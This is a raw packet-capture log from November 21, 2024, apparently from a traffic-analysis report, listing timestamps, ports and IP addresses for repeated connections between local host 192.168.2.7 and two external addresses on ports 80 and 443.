Nov 21, 2024 22:04:30.021817923 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.021900892 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.021924019 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.021976948 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.022627115 CET	49734	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:30.022701979 CET	443	49734	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:30.022787094 CET	49734	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:30.026694059 CET	49734	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:30.026731014 CET	443	49734	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:30.030194998 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.030231953 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.030256987 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.030282021 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.038487911 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.038569927 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.038723946 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.038794041 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.047059059 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.047158003 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.049772024 CET	443	49731	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:30.049942017 CET	443	49731	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:30.050009012 CET	49731	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:30.050105095 CET	49731	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:30.050115108 CET	443	49731	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:30.050153971 CET	49731	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:30.050158024 CET	443	49731	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:30.052797079 CET	49735	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:30.052823067 CET	443	49735	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:30.052906990 CET	49735	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:30.053039074 CET	49735	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:30.053050041 CET	443	49735	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:30.094198942 CET	443	49730	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:30.094270945 CET	443	49730	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:30.094358921 CET	49730	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:30.095733881 CET	49730	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:30.095738888 CET	443	49730	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:30.095756054 CET	49730	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:30.095758915 CET	443	49730	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:30.140389919 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.140496969 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.140531063 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.140598059 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.144481897 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.144553900 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.144630909 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.144695044 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.146162033 CET	49736	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:30.146214962 CET	443	49736	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:30.146363020 CET	49736	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:30.146564960 CET	49736	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:30.146600962 CET	443	49736	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:30.152940035 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.153021097 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.153033972 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.153107882 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.161313057 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.161382914 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.161463976 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.161514997 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.169647932 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.169702053 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.217976093 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.218069077 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.218079090 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.218127966 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.222130060 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.222197056 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.222207069 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.222270012 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.230621099 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.230679035 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.230696917 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.230720997 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.238559961 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.238631964 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.238678932 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.238764048 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.246908903 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.246978045 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.247033119 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.247076988 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.255326986 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.255378008 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.255445004 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.255484104 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.263814926 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.263842106 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.263869047 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.263906002 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.272799969 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.272895098 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.272908926 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.272943974 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.276590109 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.276665926 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.276700020 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.276747942 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.284111023 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.284205914 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.284270048 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.284343958 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.291629076 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.291688919 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.291733027 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.291779041 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.299153090 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.299210072 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.299213886 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.299257994 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.350658894 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.350718021 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.350718975 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.350758076 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.354475021 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.354545116 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.354635954 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.354681015 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.360235929 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.360315084 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.360363007 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.360413074 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.367714882 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.367794991 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.367839098 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.367891073 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.375236988 CET	443	49732	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:30.375247955 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.375304937 CET	443	49732	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:30.375320911 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.375328064 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.375370026 CET	49732	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:30.375436068 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.375591040 CET	49732	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:30.375591040 CET	49732	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:30.375627995 CET	443	49732	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:30.375653982 CET	443	49732	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:30.378726006 CET	49737	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:30.378796101 CET	443	49737	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:30.378880024 CET	49737	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:30.379040956 CET	49737	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:30.379086018 CET	443	49737	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:30.382808924 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.382941008 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.383028984 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.383174896 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.390141010 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.390192032 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.390264988 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.390315056 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.397109985 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.397166967 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.397167921 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.397213936 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.405394077 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.405411959 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.405478001 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.405478001 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.410598040 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.410661936 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.428469896 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.428541899 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.428580046 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.428628922 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.430342913 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.430404902 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.430439949 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.430476904 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.434286118 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.434365034 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.434387922 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.434403896 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.438108921 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.438203096 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.438283920 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.438359022 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.441977024 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.442039013 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.442065954 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.442117929 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.445848942 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.445890903 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.445941925 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.446012020 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.449676991 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.449727058 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.449775934 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.449856997 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.453548908 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.453670979 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.453675985 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.453716040 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.457384109 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.457452059 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.457485914 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.457550049 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.461229086 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.461329937 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.461355925 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.461424112 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.465137959 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.465199947 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.465215921 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.465274096 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.483175039 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.483309031 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.483366013 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.483537912 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.485093117 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.485152006 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.485186100 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.485238075 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.488841057 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.488893032 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.490236044 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.490293980 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.490362883 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.490417957 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.493957043 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.494117022 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.494190931 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.494260073 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.561249018 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.561316967 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.561423063 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.561491013 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.563000917 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.563062906 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.563087940 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.563133955 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.566555977 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.566610098 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.566652060 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.566708088 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.570101976 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.570204973 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.570209026 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.570244074 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.573534012 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.573601961 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.573630095 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.573647976 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.576889038 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.576951981 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.576988935 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.577043056 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.580112934 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.580218077 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.580250978 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.580250978 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.583168030 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.583247900 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.583283901 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.583345890 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.586253881 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.586328983 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.586364031 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.586445093 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.589298964 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.589351892 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.589466095 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.589514017 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.592201948 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.592226028 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.592248917 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.592278004 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.595016956 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.595103979 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.595140934 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.595186949 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.597853899 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.597923994 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.597945929 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.597990036 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.600667953 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.600711107 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.600790024 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.600841999 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.603513002 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.603583097 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.603616953 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.603665113 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.606324911 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.606380939 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.606388092 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.606439114 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.609203100 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.609277010 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.609282017 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.609353065 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.611543894 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.611593962 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.611623049 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.611676931 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.613704920 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.613749981 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.638915062 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.638967037 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.638995886 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.639084101 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.639497042 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.639548063 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.639612913 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.639709949 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.641545057 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.641616106 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.641680956 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.641727924 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.643157005 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.643208027 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.643228054 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.643285990 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.645270109 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.645328045 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.645361900 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.645430088 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.647393942 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.647484064 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.647495031 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.647545099 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.649512053 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.649604082 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.649607897 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.649650097 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.660305023 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.660382032 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.660414934 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.660438061 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.660454988 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.660470963 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.660485029 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.660485029 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.660486937 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.660512924 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.660547018 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.660578966 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.660594940 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.660618067 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.660633087 CET	49722	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:30.660635948 CET	80	49722	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:30.660655975 CET	49722	80	192.168.2.7	185.215.113.206
